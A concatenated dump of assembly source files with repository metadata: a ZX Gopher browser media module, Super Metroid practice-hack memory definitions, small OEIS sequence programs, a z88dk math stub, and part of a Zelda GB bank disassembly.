ab84aa2c95c206b2384d99054eb23cbe6aeec56b
|
[
"MIT"
] | 42
|
2020-07-29T14:29:18.000Z
|
2022-03-22T11:34:28.000Z
|
software/profi/net-tools/src/pqdos/browser/gopher/engine/media-processor.asm
|
zxrepo/andykarpov.karabas-pro
|
ab84aa2c95c206b2384d99054eb23cbe6aeec56b
|
[
"MIT"
] | 7
|
2020-09-07T14:21:31.000Z
|
2022-01-24T17:18:56.000Z
|
MODULE MediaProcessor
processResource:
call turboOn
call UrlEncoder.extractHostName
ld a, (historyBlock.mediaType)
cp MIME_LINK : jr z, processPage
cp MIME_INPUT : jr z, processPage
cp MIME_MUSIC : jr z, processPT
; Fallback to plain text
processText:
call Render.renderPlainTextScreen
jp Render.plainTextLoop
processPT:
call VortexProcessor.play
jp History.back
processPage:
call Render.renderGopherScreen
jp Render.workLoop
ENDMODULE
| 22.681818
| 37
| 0.731463
|
9fcfdd1ec3d5503ac931791da35a3d706a800b13
| 12,802
|
asm
|
Assembly
|
src/defines.asm
|
cout/sm_practice_hack
|
248c691848b7fb8293525816a1f883817e0b94de
|
[
"Unlicense"
] | null | null | null |
src/defines.asm
|
cout/sm_practice_hack
|
248c691848b7fb8293525816a1f883817e0b94de
|
[
"Unlicense"
] | null | null | null |
src/defines.asm
|
cout/sm_practice_hack
|
248c691848b7fb8293525816a1f883817e0b94de
|
[
"Unlicense"
] | null | null | null |
; ---------
; Work RAM
; ---------
!WRAM_BANK = #$007E
!WRAM_SIZE = #$0200
!WRAM_START = $7EFB00
!ram_load_preset = !WRAM_START+$00
!ram_gametime_room = !WRAM_START+$02
!ram_last_gametime_room = !WRAM_START+$04
!ram_realtime_room = !WRAM_START+$06
!ram_last_realtime_room = !WRAM_START+$08
!ram_last_room_lag = !WRAM_START+$0A
!ram_last_door_lag_frames = !WRAM_START+$0C
!ram_transition_counter = !WRAM_START+$0E
!ram_transition_flag = !WRAM_START+$10
!ram_transition_flag_2 = !WRAM_START+$12
!ram_seg_rt_frames = !WRAM_START+$14
!ram_seg_rt_seconds = !WRAM_START+$16
!ram_seg_rt_minutes = !WRAM_START+$18
!ram_reset_segment_later = !WRAM_START+$1A
!ram_ih_controller = !WRAM_START+$1C
!ram_slowdown_controller_1 = !WRAM_START+$1E
!ram_slowdown_controller_2 = !WRAM_START+$20
!ram_slowdown_frames = !WRAM_START+$22
!ram_momentum_sum = !WRAM_START+$24
!ram_momentum_count = !WRAM_START+$26
!ram_momentum_direction = !WRAM_START+$28
!ram_momentum_last = !WRAM_START+$2A
!ram_last_hp = !WRAM_START+$2C
!ram_reserves_last = !WRAM_START+$2E
!ram_metronome = !WRAM_START+$30
!ram_metronome_counter = !WRAM_START+$32
!ram_armed_shine_duration = !WRAM_START+$34
!ram_minimap = !WRAM_START+$36
!ram_map_counter = !WRAM_START+$38
!ram_vcounter_data = !WRAM_START+$3A
!ram_sprite_samus_hitbox_active = !WRAM_START+$3C
!ram_sprite_enemy_hitbox_active = !WRAM_START+$3E
!ram_sprite_extended_hitbox_active = !WRAM_START+$40
!ram_oob_watch_active = !WRAM_START+$42
!ram_sprite_samusproj_hitbox_active = !WRAM_START+$44
!ram_sprite_enemyproj_hitbox_active = !WRAM_START+$46
!ram_custom_preset = !WRAM_START+$48
!ram_fix_scroll_offsets = !WRAM_START+$4A
!ram_random_preset_rng = !WRAM_START+$4C
!ram_random_preset_value = !WRAM_START+$4E
!ram_magic_pants_enabled = !WRAM_START+$50
!ram_magic_pants_state = !WRAM_START+$52
!ram_magic_pants_pal1 = !WRAM_START+$54
!ram_magic_pants_pal2 = !WRAM_START+$56
!ram_magic_pants_pal3 = !WRAM_START+$58
!ram_room_has_set_rng = !WRAM_START+$5A
!ram_kraid_rng = !WRAM_START+$5C
!ram_crocomire_rng = !WRAM_START+$5E
!ram_phantoon_rng_round_1 = !WRAM_START+$60
!ram_phantoon_rng_round_2 = !WRAM_START+$62
!ram_phantoon_rng_inverted = !WRAM_START+$64
!ram_phantoon_rng_eyeclose = !WRAM_START+$66
!ram_phantoon_rng_flames = !WRAM_START+$68
!ram_phantoon_rng_next_flames = !WRAM_START+$6A
!ram_botwoon_rng = !WRAM_START+$6C
!ram_draygon_rng_left = !WRAM_START+$6E
!ram_draygon_rng_right = !WRAM_START+$70
!ram_game_loop_extras = !WRAM_START+$72
!ram_game_mode_extras = !WRAM_START+$74
!ram_sprite_features_active = !WRAM_START+$76
!ram_suits_enemy_damage_check = !WRAM_START+$78
!ram_suits_periodic_damage_check = !WRAM_START+$7A
; ^ FREE SPACE ^ up to +$86
!ram_watch_left_index = !WRAM_START+$88
!ram_watch_right_index = !WRAM_START+$8A
!ram_watch_write_mode = !WRAM_START+$8C
!ram_watch_bank = !WRAM_START+$8E
!ram_watch_left = !WRAM_START+$90
!ram_watch_left_hud = !WRAM_START+$92
!ram_watch_right = !WRAM_START+$94
!ram_watch_right_hud = !WRAM_START+$96
!ram_watch_edit_left = !WRAM_START+$98
!ram_watch_edit_right = !WRAM_START+$9A
!ram_watch_edit_lock_left = !WRAM_START+$9C
!ram_watch_edit_lock_right = !WRAM_START+$9E
!ram_HUD_check = !WRAM_START+$A0
!ram_roomstrat_counter = !WRAM_START+$A2
!ram_roomstrat_state = !WRAM_START+$A4
!ram_enemy_hp = !WRAM_START+$A6
!ram_mb_hp = !WRAM_START+$A8
!ram_shot_timer = !WRAM_START+$AA
!ram_shine_counter = !WRAM_START+$AC
!ram_dash_counter = !WRAM_START+$AE
!ram_shinetune_early_1 = !WRAM_START+$B0
!ram_shinetune_late_1 = !WRAM_START+$B2
!ram_shinetune_early_2 = !WRAM_START+$B4
!ram_shinetune_late_2 = !WRAM_START+$B6
!ram_shinetune_early_3 = !WRAM_START+$B8
!ram_shinetune_late_3 = !WRAM_START+$BA
!ram_shinetune_early_4 = !WRAM_START+$BC
!ram_shinetune_late_4 = !WRAM_START+$BE
!ram_shine_dash_held_late = !WRAM_START+$C0
!ram_xpos = !WRAM_START+$C2
!ram_ypos = !WRAM_START+$C4
!ram_subpixel_pos = !WRAM_START+$C6
!ram_horizontal_speed = !WRAM_START+$C8
!ram_vertical_speed = !WRAM_START+$CA
!ram_quickdrop_counter = !WRAM_START+$CC
!ram_walljump_counter = !WRAM_START+$CE
; ^ FREE SPACE ^ up to +$FC
; -----------------------
; RAM (Bank 7E required)
; -----------------------
!ram_slowdown_mode = $7EFBFE
; ---------
; RAM Menu
; ---------
!WRAM_MENU_START = $7EFC00
!ram_cm_stack_index = $05D5
!ram_cm_menu_stack = !WRAM_MENU_START+$00 ; 16 bytes
!ram_cm_cursor_stack = !WRAM_MENU_START+$10 ; 16 bytes
!ram_cm_cursor_max = !WRAM_MENU_START+$20
!ram_cm_input_timer = !WRAM_MENU_START+$24
!ram_cm_controller = !WRAM_MENU_START+$26
!ram_cm_menu_bank = !WRAM_MENU_START+$28
!ram_cm_etanks = !WRAM_MENU_START+$2A
!ram_cm_reserve = !WRAM_MENU_START+$2C
!ram_cm_leave = !WRAM_MENU_START+$2E
!ram_cm_input_counter = !WRAM_MENU_START+$30
!ram_cm_last_nmi_counter = !WRAM_MENU_START+$32
!ram_cm_ctrl_mode = !WRAM_MENU_START+$34
!ram_cm_ctrl_timer = !WRAM_MENU_START+$36
!ram_cm_ctrl_last_input = !WRAM_MENU_START+$38
!ram_cm_ctrl_assign = !WRAM_MENU_START+$3A
!ram_cm_ctrl_swap = !WRAM_MENU_START+$3C
!ram_cm_botwoon_rng = !WRAM_MENU_START+$3E
; ^ FREE SPACE ^ up to +$7E
; ------------------
; Reusable RAM Menu
; ------------------
; The following RAM may be used multiple times,
; as long as it isn't used multiple times on the same menu page
!ram_cm_watch_left_hi = !WRAM_MENU_START+$80
!ram_cm_watch_left_lo = !WRAM_MENU_START+$82
!ram_cm_watch_right_hi = !WRAM_MENU_START+$84
!ram_cm_watch_right_lo = !WRAM_MENU_START+$86
!ram_cm_watch_left_index_lo = !WRAM_MENU_START+$88
!ram_cm_watch_left_index_hi = !WRAM_MENU_START+$8A
!ram_cm_watch_right_index_lo = !WRAM_MENU_START+$8C
!ram_cm_watch_right_index_hi = !WRAM_MENU_START+$8E
!ram_cm_watch_edit_left_hi = !WRAM_MENU_START+$90
!ram_cm_watch_edit_left_lo = !WRAM_MENU_START+$92
!ram_cm_watch_edit_right_hi = !WRAM_MENU_START+$94
!ram_cm_watch_edit_right_lo = !WRAM_MENU_START+$96
!ram_cm_watch_enemy_property = !WRAM_MENU_START+$98
!ram_cm_watch_enemy_index = !WRAM_MENU_START+$9A
!ram_cm_watch_enemy_side = !WRAM_MENU_START+$9C
!ram_cm_watch_bank = !WRAM_MENU_START+$9E
!ram_cm_watch_common_address = !WRAM_MENU_START+$A0
!ram_cm_phan_first_phase = !WRAM_MENU_START+$80
!ram_cm_phan_second_phase = !WRAM_MENU_START+$82
; ^ FREE SPACE ^ up to +$CE
; Reserve 48 bytes for CGRAM cache
; Currently first 22 bytes and last 2 bytes are used
!ram_cgram_cache = !WRAM_MENU_START+$D0
!ram_hex2dec_first_digit = $14
!ram_hex2dec_second_digit = $16
!ram_hex2dec_third_digit = $18
!ram_hex2dec_rest = $1A
!ACTION_TOGGLE = #$0000
!ACTION_TOGGLE_BIT = #$0002
!ACTION_JSR = #$0004
!ACTION_NUMFIELD = #$0006
!ACTION_CHOICE = #$0008
!ACTION_CTRL_SHORTCUT = #$000A
!ACTION_NUMFIELD_HEX = #$000C
!ACTION_NUMFIELD_WORD = #$000E
!ACTION_TOGGLE_INVERTED = #$0010
!ACTION_NUMFIELD_COLOR = #$0012
!ACTION_CTRL_INPUT = #$0014
!ACTION_TOGGLE_BIT_INVERTED = #$0016
!SOUND_MENU_MOVE = $0039
!SOUND_MENU_JSR = $0039
!SOUND_MENU_FAIL = $0007
; ---------
; Pointers
; ---------
!IH_CONTROLLER_PRI = $8B
!IH_CONTROLLER_PRI_NEW = $8F
!IH_CONTROLLER_PRI_PREV = $97
!IH_CONTROLLER_SEC = $8D
!IH_CONTROLLER_SEC_NEW = $91
!IH_CONTROLLER_SEC_PREV = $99
!IH_BLANK = #$2C0F
!IH_PERCENT = #$0C0A
!IH_DECIMAL = #$0CCB
!IH_HYPHEN = #$0C55
!IH_RESERVE_AUTO = #$0C0C
!IH_RESERVE_EMPTY = #$0C0D
!IH_HEALTHBOMB = #$085A
!IH_LETTER_A = #$0C64
!IH_LETTER_B = #$0C65
!IH_LETTER_C = #$0C58
!IH_LETTER_D = #$0C59
!IH_LETTER_E = #$0C5A
!IH_LETTER_F = #$0C5B
!IH_LETTER_H = #$0C6C
!IH_LETTER_L = #$0C68
!IH_LETTER_N = #$0C56
!IH_LETTER_R = #$0C69
!IH_LETTER_X = #$0C66
!IH_LETTER_Y = #$0C67
!IH_ELEVATOR = #$1C0B
!IH_SHINETIMER = #$0032
!IH_PAUSE = #$0100 ; right
!IH_SLOWDOWN = #$0400 ; down
!IH_SPEEDUP = #$0800 ; up
!IH_RESET = #$0200 ; left
!IH_STATUS_R = #$0010 ; r
!IH_STATUS_L = #$0020 ; l
!IH_INPUT_START = #$1000
!IH_INPUT_UP = #$0800
!IH_INPUT_DOWN = #$0400
!IH_INPUT_LEFTRIGHT = #$0300
!IH_INPUT_LEFT = #$0200
!IH_INPUT_RIGHT = #$0100
!IH_INPUT_HELD = #$0001 ; used by menu
!CTRL_B = #$8000
!CTRL_Y = #$4000
!CTRL_SELECT = #$2000
!CTRL_A = #$0080
!CTRL_X = #$0040
!CTRL_L = #$0020
!CTRL_R = #$0010
!IH_INPUT_SHOOT = $7E09B2
!IH_INPUT_JUMP = $7E09B4
!IH_INPUT_RUN = $7E09B6
!IH_INPUT_ITEM_CANCEL = $7E09B8
!IH_INPUT_ITEM_SELECT = $7E09BA
!IH_INPUT_ANGLE_DOWN = $7E09BC
!IH_INPUT_ANGLE_UP = $7E09BE
; --------------
; Vanilla Labels
; --------------
!MUSIC_ROUTINE = $808FC1
!SFX_LIB1 = $80903F
!SFX_LIB2 = $8090C1
!SFX_LIB3 = $809143
!OAM_STACK_POINTER = $0590
!PB_EXPLOSION_STATUS = $0592
!FRAME_COUNTER = $05B6
!CACHED_RANDOM_NUMBER = $05E5
!DISABLE_SOUNDS = $05F5
!SOUND_TIMER = $0686
!ROOM_ID = $079B
!AREA_ID = $079F
!ROOM_WIDTH_BLOCKS = $07A5
!ROOM_WIDTH_SCROLLS = $07A9
!MUSIC_DATA = $07F3
!MUSIC_TRACK = $07F5
!LAYER1_X = $0911
!LAYER1_Y = $0915
!GAMEMODE = $0998
!SAMUS_ITEMS_EQUIPPED = $09A2
!SAMUS_ITEMS_COLLECTED = $09A4
!SAMUS_BEAMS_EQUIPPED = $09A6
!SAMUS_BEAMS_COLLECTED = $09A8
!SAMUS_RESERVE_MODE = $09C0
!SAMUS_HP = $09C2
!SAMUS_HP_MAX = $09C4
!SAMUS_MISSILES = $09C6
!SAMUS_MISSILES_MAX = $09C8
!SAMUS_SUPERS = $09CA
!SAMUS_SUPERS_MAX = $09CC
!SAMUS_PBS = $09CE
!SAMUS_PBS_MAX = $09D0
!SAMUS_RESERVE_MAX = $09D4
!SAMUS_RESERVE_ENERGY = $09D6
!SAMUS_LAST_HP = $0A06
!SAMUS_POSE = $0A1C
!SAMUS_POSE_DIRECTION = $0A1E
!SAMUS_MOVEMENT_TYPE = $0A1F
!SAMUS_PREVIOUS_POSE = $0A20
!SAMUS_PREVIOUS_POSE_DIRECTION = $0A22
!SAMUS_PREVIOUS_MOVEMENT_TYPE = $0A23
!SAMUS_HEALTH_WARNING = $0A6A
!SAMUS_X = $0AF6
!SAMUS_X_SUBPX = $0AF8
!SAMUS_Y = $0AFA
!SAMUS_Y_SUBPX = $0AFC
!SAMUS_X_RADIUS = $0AFE
!SAMUS_Y_RADIUS = $0B00
!SAMUS_SPRITEMAP_X = $0B04
!SAMUS_Y_SUBSPEED = $0B2C
!SAMUS_Y_SPEEDCOMBINED = $0B2D
!SAMUS_Y_SPEED = $0B2E
!SAMUS_Y_DIRECTION = $0B36
!SAMUS_DASH_COUNTER = $0B3F
!SAMUS_X_RUNSPEED = $0B42
!SAMUS_X_SUBRUNSPEED = $0B44
!SAMUS_X_MOMENTUM = $0B46
!SAMUS_X_SUBMOMENTUM = $0B48
!SAMUS_PROJ_X = $0B64
!SAMUS_PROJ_Y = $0B78
!SAMUS_PROJ_RADIUS_X = $0BB4
!SAMUS_PROJ_RADIUS_Y = $0BC8
!SAMUS_COOLDOWN = $0CCC
!SAMUS_CHARGE_TIMER = $0CD0
!ENEMY_X = $0F7A
!ENEMY_Y = $0F7E
!ENEMY_X_RADIUS = $0F82
!ENEMY_Y_RADIUS = $0F84
!ENEMY_PROPERTIES_2 = $0F88
!ENEMY_HP = $0F8C
!ENEMY_SPRITEMAP = $0F8E
!ENEMY_BANK = $0FA6
!SAMUS_IFRAME_TIMER = $18A8
!ENEMY_PROJ_ID = $1997
!ENEMY_PROJ_X = $1A4B
!ENEMY_PROJ_Y = $1A93
!ENEMY_PROJ_RADIUS = $1BB3
; -----
; SRAM
; -----
!SRAM_VERSION = $000D
!SRAM_START = $702000
!sram_initialized = !SRAM_START+$00
!sram_ctrl_menu = !SRAM_START+$02
!sram_ctrl_kill_enemies = !SRAM_START+$04
!sram_ctrl_full_equipment = !SRAM_START+$06
!sram_ctrl_reset_segment_timer = !SRAM_START+$08
!sram_ctrl_reset_segment_later = !SRAM_START+$0A
!sram_ctrl_load_state = !SRAM_START+$0C
!sram_ctrl_save_state = !SRAM_START+$0E
!sram_ctrl_load_last_preset = !SRAM_START+$10
!sram_ctrl_random_preset = !SRAM_START+$12
!sram_ctrl_save_custom_preset = !SRAM_START+$14
!sram_ctrl_load_custom_preset = !SRAM_START+$16
!sram_ctrl_inc_custom_preset = !SRAM_START+$18
!sram_ctrl_dec_custom_preset = !SRAM_START+$1A
!sram_ctrl_toggle_tileviewer = !SRAM_START+$1C
!sram_ctrl_update_timers = !SRAM_START+$1E
!sram_artificial_lag = !SRAM_START+$20
!sram_rerandomize = !SRAM_START+$22
!sram_fanfare_toggle = !SRAM_START+$24
!sram_frame_counter_mode = !SRAM_START+$26
!sram_display_mode = !SRAM_START+$28
!sram_music_toggle = !SRAM_START+$2A
!sram_last_preset = !SRAM_START+$2C
!sram_save_has_set_rng = !SRAM_START+$2E
!sram_preset_category = !SRAM_START+$30
!sram_custom_preset_slot = !SRAM_START+$32
!sram_room_strat = !SRAM_START+$34
!sram_sprite_prio_flag = !SRAM_START+$36
!sram_metronome_tickrate = !SRAM_START+$38
!sram_metronome_sfx = !SRAM_START+$3A
!sram_status_icons = !SRAM_START+$3C
!sram_suit_properties = !SRAM_START+$3E
!sram_top_display_mode = !SRAM_START+$40
!sram_healthalarm = !SRAM_START+$42
!sram_room_layout = !SRAM_START+$44
!sram_cutscenes = !SRAM_START+$46
!sram_preset_options = !SRAM_START+$48
!sram_lag_counter_mode = !SRAM_START+$4A
; ^ FREE SPACE ^ up to +$0FCE
; SM specific things
!SRAM_MUSIC_DATA = !SRAM_START+$0FD0
!SRAM_MUSIC_TRACK = !SRAM_START+$0FD2
!SRAM_SOUND_TIMER = !SRAM_START+$0FD4
; ^ FREE SPACE ^ up to +$0FFE
!TOP_DISPLAY_VANILLA = #$0002
!ROOM_LAYOUT_MAGNET_STAIRS = #$0001
!ROOM_LAYOUT_AREA_RANDO = #$0002
!ROOM_LAYOUT_ANTISOFTLOCK = #$0004
!CUTSCENE_SKIP_INTRO = #$0001
!CUTSCENE_SKIP_CERES_ARRIVAL = #$0002
!CUTSCENE_SKIP_G4 = #$0080
!CUTSCENE_FAST_MB = #$0100
!CUTSCENE_FAST_PHANTOON = #$0200
!CUTSCENE_FAST_KRAID = #$0400
!PRESETS_COMPRESSED_GRAPHICS = #$0001
!PRESETS_COMPRESSED_PALETTES = #$0002
!PRESETS_COMPRESSED_PALETTES_8BIT = #$02
!PRESETS_COMPRESSED_TABLES = #$0004
!PRESETS_CLOSE_BLUE_DOORS = #$0008
; ----------
; Save/Load
; ----------
; Savestate code variables
!SS_INPUT_CUR = $8B
!SS_INPUT_NEW = $8F
!SS_INPUT_PREV = $97
!SRAM_DMA_BANK = $770000
!SRAM_SAVED_SP = $774004
| 27.951965
| 63
| 0.752461
|
ecca17c74524a6082f99e904166c1fd58cf8e8ec
| 322
|
asm
|
Assembly
|
oeis/319/A319645.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/319/A319645.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/319/A319645.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A319645: Number of non-isomorphic weight-n antichains of distinct multisets whose dual is a chain of distinct multisets.
; Submitted by Christian Krause
; 1,1,1,2,3,4,7,9,16,22,38
add $0,1
mov $3,1
lpb $0
sub $0,1
add $1,3
add $2,$3
mov $3,$1
mov $1,$0
dif $2,2
add $3,$2
lpe
mov $0,$2
div $0,18
add $0,1
| 16.947368
| 122
| 0.645963
|
4940f3f1abc2dfbd268d177aa893a72801560b44
| 114
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_round.asm
|
ahjelm/z88dk
|
c4de367f39a76b41f6390ceeab77737e148178fa
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_round.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_round.asm
|
C-Chads/z88dk
|
a4141a8e51205c6414b4ae3263b633c4265778e6
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_am9511
PUBLIC cam32_sccz80_round
EXTERN _am9511_round
defc cam32_sccz80_round = _am9511_round
| 12.666667
| 39
| 0.868421
|
8e8a39608ea1f96752902ee395278562fb020f23
| 687
|
asm
|
Assembly
|
oeis/137/A137370.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/137/A137370.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/137/A137370.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A137370: Brahmagupta matrix in a Markov matrix recursion produces a set of polynomials: the special values of x->Sqrt[z];y->1;t->n gives a set of polynomials as determinants. The triangular sequence of the Coefficients of these polynomials are except for signs A055134.
; Submitted by Christian Krause
; 1,0,1,1,-2,1,-8,12,-6,1,81,-108,54,-12,1,-1024,1280,-640,160,-20,1,15625,-18750,9375,-2500,375,-30,1,-279936,326592,-163296,45360,-7560,756,-42,1,5764801,-6588344,3294172,-941192,168070,-19208,1372,-56,1,-134217728,150994944,-75497472,22020096,-4128768
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
bin $1,$0
sub $0,1
add $0,$2
dif $0,-1
pow $0,$2
mul $1,$0
mov $0,$1
| 38.166667
| 271
| 0.707424
|
7bd220bed664ff688d74532ae0aa1fc4150de372
| 126,754
|
asm
|
Assembly
|
bank2.asm
|
alexsteb/zelda_gb_disassembly
|
0efeb3d9b26108c73fb3ace43b6b0a4a8520b179
|
[
"MIT"
] | 3
|
2018-06-28T06:59:28.000Z
|
2019-09-06T05:49:00.000Z
|
bank2.asm
|
alexsteb/zelda_gb_disassembly
|
0efeb3d9b26108c73fb3ace43b6b0a4a8520b179
|
[
"MIT"
] | null | null | null |
bank2.asm
|
alexsteb/zelda_gb_disassembly
|
0efeb3d9b26108c73fb3ace43b6b0a4a8520b179
|
[
"MIT"
] | null | null | null |
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
ld b, $06
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
add hl, bc
add hl, bc
add hl, bc
add hl, bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
ld [$0808], sp
ld [$0909], sp
add hl, bc
add hl, bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
ld [$0808], sp
ld [$0909], sp
add hl, bc
add hl, bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
ld [$0808], sp
ld [$0909], sp
add hl, bc
add hl, bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
ld [$0808], sp
ld [$0409], sp
inc b
inc b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
inc b
inc b
inc b
inc b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
inc b
inc b
inc b
inc b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
inc b
inc b
inc b
inc b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec bc
dec bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec bc
dec bc
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
dec b
inc d
dec d
ld d, $17
ld c, e
ld e, b
ld e, e
ld e, d
ld [de], a
ld h, $26
ld h, $26
ld h, $07
ld [bc], a
ld a, [bc]
ld h, $0a
ld d, e
inc de
ld a, $1f
nop
nop
nop
nop
nop
nop
ld a, [bc]
ld c, b
ld h, $00
nop
ld bc, $0100
nop
nop
ld bc, $0000
ld bc, $0101
nop
ld bc, $0000
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ld bc, $0100
nop
ldh a, [$ff00 + $bc]
and a
jr z, .l_814f
xor a
ldh [$ff00 + $bc], a
ret
.l_814f:
ld d, $1d
ld a, [$db4e]
and a
jp z, .l_418c
ldh a, [$ff00 + $f6]
ld e, a
ld d, $00
ld hl, $4000
add hl, de
ld d, [hl]
ld a, d
xor a
ldh [$ff00 + $b1], a
ld a, [$dba5]
and a
jr z, .l_818c
ld d, $18
ld a, [$d46c]
and a
jr nz, .l_8190
ldh a, [$ff00 + $f7]
ld e, a
ld d, $00
ld hl, $4100
add hl, de
ld d, [hl]
ldh a, [$ff00 + $f9]
and a
jr z, .l_8190
ld a, e
cp $0a
jr nc, .l_8190
ld a, $21
jr .l_8191
.l_818c:
xor a
ld [$d46c], a
.l_8190:
ld a, d
.l_8191:
ld e, a
ld d, $00
ldh [$ff00 + $b0], a
call func_27a8
ld a, e
cp $25
jr nc, .l_81a6
ld hl, $4120
add hl, de
ld a, [hl]
and a
jr nz, .l_81b9
.l_81a6:
ld a, [$d47c]
and a
jr z, .l_81b9
ld a, $49
ld [$d368], a
ldh [$ff00 + $bd], a
ldh [$ff00 + $bf], a
xor a
ld [$c1cf], a
.l_81b9:
ret
push bc
ld a, $07
call func_3c01
jr c, .l_81e4
ld hl, $c280
add hl, de
dec [hl]
ldh a, [$ff00 + $ce]
and $f0
add a, $08
ld hl, $c200
add hl, de
ld [hl], a
ldh a, [$ff00 + $cd]
and $f0
add a, $10
ld hl, $c210
add hl, de
ld [hl], a
ld hl, $c3b0
add hl, de
ldh a, [$ff00 + $df]
ld [hl], a
.l_81e4:
pop bc
ret
ld hl, $c146
ld a, [$c166]
or [hl]
jr nz, .l_8231
ld [$c5a4], a
ld [$c5a5], a
call func_094a
ld a, [$db49]
and $07
jr z, .l_8228
ld a, [$db4a]
cp $01
jr z, .l_8214
cp $02
jr z, .l_821e
ld a, $dc
ld [$c166], a
ld a, $09
ldh [$ff00 + $f3], a
ret
.l_8214:
ld a, $d0
ld [$c166], a
ld a, $0b
ldh [$ff00 + $f3], a
ret
.l_821e:
ld a, $bb
ld [$c166], a
ld a, $0a
ldh [$ff00 + $f3], a
ret
.l_8228:
ld a, $d0
ld [$c166], a
ld a, $15
ldh [$ff00 + $f3], a
.l_8231:
ret
ret
jr nc, .l_8205
nop
.l_8236:
nop
nop
nop
ret nc
jr nc, .l_8236
ld b, [hl]
pop bc
and a
jr nz, .l_826d
ld a, $03
call func_10eb
jr c, .l_826d
ld hl, $c2e0
add hl, de
ld [hl], $2a
ld hl, $c3b0
add hl, de
xor a
ld [hl], a
ldh a, [$ff00 + $9e]
ld c, a
ld b, $00
ld hl, $4233
add hl, bc
ld a, [hl]
ld hl, $c240
add hl, de
ld [hl], a
ld hl, $4237
add hl, bc
ld a, [hl]
ld hl, $c250
add hl, de
ld [hl], a
.l_826d:
ret
ld a, [$c14c]
and a
jr z, .l_8278
dec a
ld [$c14c], a
.l_8278:
ld a, [$c1c4]
and a
jr z, .l_8282
dec a
ld [$c1c4], a
.l_8282:
ld a, [$c1c0]
and a
jr z, .l_828c
dec a
ld [$c1c0], a
.l_828c:
call func_4353
ld a, [$c16e]
and a
jr z, .l_8299
dec a
ld [$c16e], a
.l_8299:
ldh a, [$ff00 + $a1]
cp $02
jr nz, .l_82ae
xor a
ldh [$ff00 + $a1], a
ldh [$ff00 + $9a], a
ldh [$ff00 + $9b], a
ldh [$ff00 + $a3], a
call func_49c5
jp $77fa
.l_82ae:
call func_19ef
xor a
ldh [$ff00 + $a1], a
call func_1e73
call func_0d68
call func_4497
call func_4331
call func_4738
call func_4af8
call func_149b
call func_431f
call func_49c5
ld a, [$c124]
and a
jr nz, .l_82fc
ld a, [$c137]
ld [$c16a], a
cp $05
jr nz, .l_82fd
ld a, [$c14a]
and a
jr nz, .l_831a
xor a
ld [$c137], a
ld a, [$c122]
cp $28
jr z, .l_82fc
inc a
ld [$c122], a
cp $28
jr nz, .l_82fc
ld a, $04
ldh [$ff00 + $f2], a
.l_82fc:
ret
.l_82fd:
ld a, [$c1ad]
cp $01
jr z, .l_831a
ld a, [$c122]
cp $28
jr nz, .l_831a
ld a, [$c16e]
and a
jr nz, .l_831e
ld a, $20
ld [$c121], a
ld a, $03
ldh [$ff00 + $f4], a
.l_831a:
xor a
ld [$c122], a
.l_831e:
ret
ld a, [$c15c]
cp $02
jr c, .l_832c
ldh [$ff00 + $9d], a
ld a, $01
ldh [$ff00 + $a1], a
.l_832c:
ret
ld de, $0f10
ld c, $fa
sbc a, e
pop bc
